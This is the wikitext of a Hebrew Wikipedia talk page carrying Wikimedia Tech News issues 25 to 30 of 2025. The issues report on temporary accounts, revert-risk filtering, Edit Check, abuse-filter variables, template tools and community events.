&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28846858 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 25 ==

&lt;section begin=&quot;technews-2025-W25&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/25|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* ניתן [https://wikimediafoundation.limesurvey.net/359761?lang=en להציע את הכלים האהובים עליכם] ל[[m:Special:MyLanguage/Coolest Tool Award|פרס הכלי המדליק]] השישי. ההצעות נעשות בעילום שם עד ל-25 ביוני. ניתן להציע כלים רבים באמצעות מילוי מחדש של הטופס.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:33|התקלה שדווחה|כל {{formatnum:33}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.6|MediaWiki]]

'''לעומק'''
* חברי הקרן ומתנדבים טכניים המשתמשים ב-API לבניית כלים, יישומונים, תכונות והשתלבות לשיפור החוויה. בשנים הבאות ישקיע צוות הממשקים של מדיה-ויקי בווב API של ויקימדיה (HTTP) כדי לשפר את הטיפול בצרכי המתנדבים הטכניים ולהגן את תשתיות הקרן מפגיעות אפשריות. ניתן [https://techblog.wikimedia.org/2025/06/12/apis-as-a-product-investing-in-the-current-and-next-generation-of-technical-contributors/ לקרוא פרטים לגבי התוכניות לפיתוח ה-API בפוסט ב-Techblog].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/25|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W25&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:39, 17 ביוני 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28870688 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 26 ==

&lt;section begin=&quot;technews-2025-W26&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/26|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות הניטור ולמידת המכונה ימשיך השבוע לפרוס את [[mw:Special:MyLanguage/2025 RecentChanges Language Agnostic Revert Risk Filtering|המסנן החדש לשינויים האחרונים]] לקבוצה שלישית ואחרונה של ויקיפדיות. המסנן משתמש במודל הסיכון ההפוך, שנוצר בידי צוות המחקר, והוא מדגיש עריכות עם סיכוי גבוה לשחזור כדי לעזור למנטרים לזהות תרומות מזיקות אפשריות. המסנן יתווסף לוויקיפדיות הבאות: {{int:project-localized-name-azwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-lawiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-mkwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-mlwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-mrwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-nnwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-pawiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-swwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-tewiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-tlwiki/he}}. הפריסה תימשך בשבועות הקרובים ל[[mw:Special:MyLanguage/2025 RecentChanges Language Agnostic Revert Risk Filtering|שאר ויקיפדיות במיזם]]. [https://phabricator.wikimedia.org/T391964]

'''עדכונים לעורכים'''
* בשבוע שעבר [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts|החשבונות הזמניים]] הופעלו בוויקיפדיה הצ'כית, הקוריאנית והטורקית. השבוע ובשבוע הבא יתווספו לכך ויקיפדיות גדולות יותר, כולל ויקיפדיה העברית בשבוע הבא. [[mw:Talk:Trust and Safety Product/Temporary Accounts|ניתן לשתף את המחשבות]] לגבי המיזם. [https://phabricator.wikimedia.org/T340001]
* בהמשך השבוע יפעיל צוות העריכה את [[mw:Special:MyLanguage/Help:Edit check#Multi check|Multi Check]] לכל ויקיפדיות חוץ מאנגלית. הכלי מציג [[mw:Special:MyLanguage/Help:Edit check#Reference check|בדיקות מקורות]] מרובות תוך כדי עריכה. זה מעודד משתתפים לציין מקורות כשהם מוסיפים טקסט עם פסקאות רבות לערך ויקיפדי. הכלי היה זמין קודם בצורת בדיקת A/B.&amp;rlm; [https://analytics.wikimedia.org/published/reports/editing/multi_check_ab_test_report_final.html#summary-of-results הטסט מראה] כי המשתמשים שראו הצעות מרובות מוסיפים מקורות פי 1.3 פעמים יותר, והסיכוי שעריכתם תשוחזר קטן ב-34.7%. [https://phabricator.wikimedia.org/T395519]
* לכמה דפים ישתנה השם עקב עדכוני תוכנה להתאמה לתקן יוניקוד. כל השינויים קשורים לאותיות קטנות וגדולות. בסביבות 71 דפים ושלושה קבצים ישנו את שמם ב-15 אתרי ויקי, לא כולל בעברית. הרשימה המלאה זמינה ב[[phab:T396903|פבריקטור]]. המפתחים ישנו את השמות בשבוע הבא, והם גם יתקנו את ההפניות והקישורים לקבצים כעבור מספר דקות באמצעות מערכת העדכונים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:24|התקלה שדווחה|כל {{formatnum:24}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שגרם לדפים לגלול כלפי מעלה כשנבחר טקסט בראש הדף. [https://phabricator.wikimedia.org/T364023]

'''עדכונים לעורכים הטכניים'''
* העורכים יכולים עכשיו לסנן ולשנות את הנתונים המשמשים את [[mw:Special:MyLanguage/Extension:Chart|ההרחבה Chart]]. ניתן לבחור חלק משורות או עמודות מהמידע המקורי, להמיר יחידות מידה, לבצע פעולות סטטיסטיות, או המרות יעילות אחרות רבות, [[mw:Special:MyLanguage/Extension:Chart/Transforms|לפי ההוראות]]. [https://www.mediawiki.org/wiki/Special:MyLanguage/Extension:Chart/Project/Updates]
* המשתנה &lt;code dir=ltr&gt;all_links&lt;/code&gt; ב[[Special:AbuseFilter|מסנן ההשחתות]] נקרא עכשיו &lt;code dir=ltr&gt;new_links&lt;/code&gt; כדי להתאים אותו למשתנים אחרים. השם הישן ימשיך לעבוד. [https://phabricator.wikimedia.org/T391811]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.7|MediaWiki]]

'''לעומק'''
* הרבעון החדש של [[mw:Special:MyLanguage/Growth/Newsletters/34|עיתון ה-Growth]] זמין עכשיו. הוא כולל עדכונים אחרונים על משימת &quot;Add a Link&quot;, שני כלים חדשים לעזרה בפניה למשתמשים חדשים ועדכונים לגבי Community Configuration.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/26|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W26&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:21, 24 ביוני 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28870688 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 27 ==

&lt;section begin=&quot;technews-2025-W27&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/27|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* ההרחבה [[mw:Special:MyLanguage/Help:Extension:CampaignEvents|CampaignEvents]] פועלת עכשיו בוויקיפדיות בכל השפות. ההרחבה עוזרת לארגן ולהשתתף בפעילויות משותפות, כמו מרתונים לעריכה ומיזמי ויקי, ישירות באתרי ויקי. להרחבה יש שלושה כלים, והם [[m:Special:MyLanguage/Event Center/Registration|רישום אירועים]], [[m:Special:MyLanguage/CampaignEvents/Collaboration list|רשימת שיתופי פעולה]] ו[[m:Campaigns/Foundation Product Team/Invitation list|רשימת הזמנות]]. כדי לבקש להתקין את ההרחבה באתר ויקי נוסף יש לפנות ל[[m:Special:MyLanguage/CampaignEvents/Deployment status#How to Request the CampaignEvents Extension for your wiki|דף מידע לגבי הפריסה]].

'''עדכונים לעורכים'''
* המשתתפים המטפלים במסנני ההשחתות יכולים עכשיו [[mw:Special:MyLanguage/Extension:IPReputation/AbuseFilter variables|לבדוק את העריכה מול הערכת המוניטין של IP]] ב[[mw:Special:MyLanguage/Extension:AbuseFilter|מסנן ההשחתות]]. מדובר במידע לגבי הפרוקסי ו-VPN הידוע לגבי כתובת IP של המשתמש. המידע לא מוצג לקהל הרחב ולא נאסף עבור פעולות שנעשו בידי משתמשים רשומים. [https://phabricator.wikimedia.org/T354599]
* [[mw:Special:MyLanguage/Manual:Collapsible elements|התוכן המוסתר בדפי ויקי]], דוגמת טבלאות מוסתרות, ייפתח מעכשיו אם חיפוש דפדפן (Ctrl-F או ⌘F) מצא שם משהו. [https://phabricator.wikimedia.org/T327893][https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/hidden#browser_compatibility]
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]] תכונה חדשה בשם [[mw:Special:MyLanguage/Help:TemplateData/Template discovery|תבניות מועדפות]] תתחיל לפעול בהמשך השבוע בכל אתרי ויקי למעט ויקיפדיה האנגלית, שם זה נדחה בשבוע. התכונה עברה את שלב הבדיקה בוויקיפדיות הפולנית והערבית, ובוויקיטקסט האיטלקי והאנגלי. היא מאפשרת דרך טובה יותר למשתמשים החדשים והוותיקים לזכור ולגלות תבניות באמצעות דו-שיח, ולשמור תבניות ב&quot;רשימת המועדפים&quot;. זה יעבוד בעורך קוד מקור ובעורך החזותי. התכונה נמצאת ב[[m:Special:MyLanguage/Community Wishlist/Focus areas/Template recall and discovery|שטח המיקוד ברשימת המשאלות]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שגרם להודעות להישלח מספר פעמים. [https://phabricator.wikimedia.org/T397103]

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.8|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/27|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W27&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:41, 1 ביולי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28917415 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 28 ==

&lt;section begin=&quot;technews-2025-W28&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/28|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Help:Temporary accounts|החשבונות הזמניים]] התחילו לפעול על 18 ויקיפדיות גדולות ובינוניות, כולל עברית ,גרמנית, יפנית, צרפתית וסינית. נכון לעכשיו כשליש מכל המשתמשים הלא מחוברים בעולם מגיעים מחשבונות זמניים. מנטרים יכולים לבדוק שני דפי תיעוד חדשים, [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts/Access to IP|גישה ל-IP]], המסביר את כל מה שקשור לגישה לכתובות ה-IP של החשבונות הזמניים, ו[[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts/Repository|רשימה של גאדג'טים וסקריפטים חדשים]].

'''עדכונים לעורכים'''
* כל אחד יכול לשחק במשחק ניסיוני חדש, [[mw:Special:MyLanguage/New Engagement Experiments/WikiRun|WikiRun]], המאפשר לנווט ברחבי ויקיפדיה באמצעות מעברים מערך לערך, במטרה להגיע לערך היעד בככל שפחות צעדים וזמן. מטרת המשחק היא לגלות דרכי פניה חדשים לקוראים. ניתן [https://wikirun-game.toolforge.org/ לנסות את המשחק] ולהשאיר משוב לצוות ב[[mw:Talk:New Engagement Experiments/WikiRun|דף השיחה]].
* משתמשי יישומון הוויקיפדיה לאנדרואיד בכמה שפות יכולים עכשיו לשחק ב[[mw:Special:MyLanguage/Wikimedia Apps/Team/Android/TrivaGame|משחק טריוויה]] חדש, &quot;מה היה קודם?&quot;. מדובר במשחק היסטורי פשוט המציע לנחש איזה משני האירועים שהיו היום לפני שנים קרה קודם. עד כה המשחק היה זמין בבדיקת A/B. עכשיו הוא זמין לכולם, ומוצע כרגע באנגלית, גרמנית, צרפתית ספרדית, פורטוגזית, רוסית, ערבית, טורקית וסינית. מטרת המשחק היא לעזור לפנות לדור החדש של הקוראים. [https://meta.wikimedia.org/wiki/Special:MyLanguage/Tech/News/2025/22]
* משתמשי יישומון הוויקיפדיה ל-iOS בחלק מהשפות קיבלו אפשרות גלישה חדשה המאפשרת לפתוח כמה כרטיסיות קריאה בו זמנית. זה מקל לגלות נושאים קשורים ולעבור בין ערכים. בדיקת A/B רצה עכשיו בכמה אזורים בעולם בערבית, אנגלית ויפנית. פרטים נוספים זמינים ב[[mw:Special:MyLanguage/Wikimedia Apps/Team/iOS/Tabbed Browsing (Tabs)|דף המיזם]].
* הבירוקרטים באתרי ויקי של ויקימדיה יכולים עכשיו להשתמש בדף [[{{#special:VerifyOATHForUser}}]] כדי לבדוק האם משתמש מסוים הפעיל את [[mw:Special:MyLanguage/Help:Two-factor authentication|2FA]].&amp;rlm; [https://phabricator.wikimedia.org/T265726]
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]] תכונה חדשה הקשורה ל-[[m:Special:MyLanguage/Community Wishlist/Focus areas/Template recall and discovery|Template Recall and Discovery]] תגיע השבוע לכל אתרי ויקי של ויקימדיה, [[mw:Special:MyLanguage/Help:TemplateData/Template discovery#Template categories|דפדפן בקטגוריות התבניות]], העוזר למשתמשים למצוא תבניות כדי להוסיף אותן לרשימת המועדפים. הדפדפן החדש יאפשר לגלוש ברשימת התבניות שאורגנה לפי עץ הקטגוריות הקיים. זה התבקש בידי הקהילה באמצעות [[m:Special:MyLanguage/Community Wishlist/Wishes/Select templates by categories|סקר המשאלות]].
* מעכשיו ניתן להגיע להעדפות רשימת המעקב ישירות מדף רשימת המעקב. כמו כן, הוסר הכפתור המיותר לעריכת רשימת המעקב. [https://www.mediawiki.org/wiki/Moderator_Tools/Watchlist]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* כחלק מגרסת [[mw:MediaWiki_1.44|מדיה-ויקי 1.44]] קיימת עכשיו מערכת יחידה לשליחת הודעות והתרעות. היא מקלה על מפתחים לשלוח, לנהל ולאפיין הודעות. התיעוד החדש מופיע בדף [[mw:Manual:Notifications|Manual:Notifications]], המידע לגבי המעבר ב[[phab:T388663|פבריקטור]], ופרטים לגבי הוקים שהתיישנו ב[[phab:T389624|דף אחר בפבריקטור]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.9|MediaWiki]]

'''פגישות ואירועים'''
* [[d:Special:MyLanguage/Event:WikidataCon 2025|WikidataCon 2025]], הוועידה המוקדשת לוויקינתונים, פתוחה עכשיו ל[https://pretalx.com/wikidatacon-2025/cfp הצעות] ול[[d:Special:RegisterForEvent/1340|הרשמה]]. השנה תתקיים הוועידה בין 31 באוקטובר ל-2 בנובמבר אונליין, והיא תוקדש לנושא &quot;תקשורת בין אישית באמצעות מידע פתוח מקושר&quot;.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/28|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W28&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:06, 8 ביולי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28930584 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 29 ==

&lt;section begin=&quot;technews-2025-W29&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/29|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Help:TemplateData/Template discovery#Featured templates|תבנית מומלצות]], כלי חדש של [[m:Special:MyLanguage/Community Wishlist/Focus areas/Template recall and discovery|Template Recall and Discovery]], ייפרס השבוע בכל אתרים של ויקימדיה. העורכים יוכלו לגשת במהירות לרשימת התבניות שיכולות להועיל להם. התבניות יוצגו בצורת רשימה, בלשונית &quot;מומלצים&quot; בממשק גילוי התבניות. המפעילים יכולים להגדיר את הרשימה באמצעות ממשק הגדרות הקהילה. החידוש הזה ממלא בקשה של הקהילה ב[[m:Special:MyLanguage/Community Wishlist/Wishes/Easy access Templates|סקר המשאלות]]. [https://phabricator.wikimedia.org/T367428][https://phabricator.wikimedia.org/T392896]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, מולאה הבקשה להוסיף גופנים עבור שפת [[:he:מלאיאלאם|מלאיאלאם]] ב[[oldWikisource:Special:MyLanguage/Wikisource:WS Export|כלי ייצוא הספרים בוויקיטקסט]], מה שיאפשר להציג את האותיות בספרים שיוצאו בצורה תקינה. [https://phabricator.wikimedia.org/T374457]

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.10|MediaWiki]]

'''לעומק'''
* מפתחים, מעצבים וכל היתר בוויקימדיה מוזמנים [https://phabricator.wikimedia.org/project/board/7953/ להציג רעיונות] להאקתון ויקימדיה 2025. ראו [https://diff.wikimedia.org/2025/06/30/call-for-projects-wikimania-hackathon-2025-is-coming-to-nairobi/ בלוג ב-Diff] לפרטים נוספים.

'''פגישות ואירועים'''
* הגשת הבקשות למלגות והרצאות ל-[[m:WikiIndaba conference 2025|WikiIndaba&amp;rlm; 2025]] פתוחה עד 23:59 UTC ב-20 ביולי. מדובר בוועדה אזורית של הקרן באפריקה, היבשה והפזורה, לאיחוד ופיתוח במשותף. ניתן להציג בקשות ל[https://docs.google.com/forms/d/e/1FAIpQLSdJTv68R1OPASXXDfpIl8EWiMLTM-TDwh6_5gNVvFuWccFZ2Q/viewform מלגות] ול[https://ee.kobotoolbox.org/x/BI3omIfH הרצאות] עכשיו.
* [https://br.wikimedia.org/wiki/WikiCon_Brasil_2025 ויקי-קון ברזיל 2025] יתקיים בין 19 ל-20 ביולי בסלבדור, בירת מדינת באהיה שבברזיל. חברי קהילת ברזיל מוזמנים להירשם ולהשתתף.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/29|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W29&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:10, 14 ביולי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28980963 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 30 ==

&lt;section begin=&quot;technews-2025-W30&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/30|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* לתכונה להצעות לתרגום ב[[mw:Special:MyLanguage/Content translation|כלי תרגום התוכן]] יש עכשיו רמה נוספת של מסנני ערכים שהתווספה לקטגוריית &quot;[https://en.wikipedia.org/w/index.php?title=Special:ContentTranslation&amp;filter-type=automatic&amp;filter-id=previous-edits&amp;active-list=suggestions&amp;from=en&amp;to=fi#/ ... עוד]&quot;. המתרגמים שמשתמשים בתכונה הזאת יכולים עכשיו לבחור ולקבל הצעות לערכים שקשורים למקום בעולם המעניין אותם, באמצעות המסנן &quot;{{int:Cx-sx-suggestions-filters-tab-regions}}&quot;.&amp;rlm; [https://phabricator.wikimedia.org/T113257]
* המפעילים יכולים עכשיו להגביל את [[mw:Special:MyLanguage/Help:Growth/Tools/Add a link|&quot;Add a Link&quot;]] למשתמשים חדשים. המשימה &quot;Add a Link&quot; [[mw:Special:MyLanguage/Growth/Constructive activation experimentation#Enwiki A/B test &amp; &quot;Add a Link&quot; Improvements (Wiki Experiences 1.2.11 &amp; 1.2.16)|עוזרת לבעלי חשבונות חדשים להתחיל לערוך]], אבל חלק מהקהילות ביקשו יכולת להגביל אותה למשתמשים להם היא מיועדת, המשתמשים החדשים. המפעילים יכולים לקבוע זאת באמצעות [[Special:CommunityConfiguration/GrowthSuggestedEdits|Community Configuration]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:29|התקלה שדווחה|כל {{formatnum:29}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* עורכי מסנן ההשחתות ב[[phab:T392144|כמה אתרי ויקי]], לא כולל בעברית, יכולים עכשיו לסנן עריכות בהתאם לציון RevertRisk של העריכה המיועדת. זה יעבוד רק אם הציון אכן מחושב עבור העריכה הספציפית. פרטים נוספים ניתן לקבל ב[[mw:Special:MyLanguage/Extension:ORES/AbuseFilter variables#What variables are available for use|תיעוד המשתנים]].
* אתרי ויקי של [[mw:Special:MyLanguage/Beta Cluster|Beta Cluster]] עברו [[listarchive:list/wikitech-l@lists.wikimedia.org/thread/YDABPV75LADRQCXMJAFWUP256N4EQ25B/|עכשיו]] מ-&lt;code dir=ltr&gt;beta.wmflabs.org&lt;/code&gt; ל-&lt;code dir=ltr&gt;beta.wmcloud.org&lt;/code&gt;. ייתכן וצריך לתקן כתובות URL בכלים או במנהלי ססמאות. על בעיות ניתן לדווח ב[[phab:T289318|פבריקטור]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.11|MediaWiki]]

'''פגישות ואירועים'''
* [[m:Special:MyLanguage/WikiCite 2025|WikiCite 2025]] יתקיים בין 29 ל-31 באוגוסט, בו זמנית אונליין ובברן שבשווייץ. מטרת האירוע היא לקשר מחדש קהילות, מוסדות ואנשים עם מקורות פתוחים, מידע ביבליוגרפי ומערכת סביבתית של ויקינתונים וויקיבייס. ההרשמה פתוחה והגשת ההצעות תתחיל בקרוב. [https://lists.wikimedia.org/hyperkitty/list/wikidata@lists.wikimedia.org/message/KQZUG3ETKLBWPBYSB2YAWZIRPWHS24TG/]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/30|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W30&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:43, 22 ביולי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29005283 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 31 ==

&lt;section begin=&quot;technews-2025-W31&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
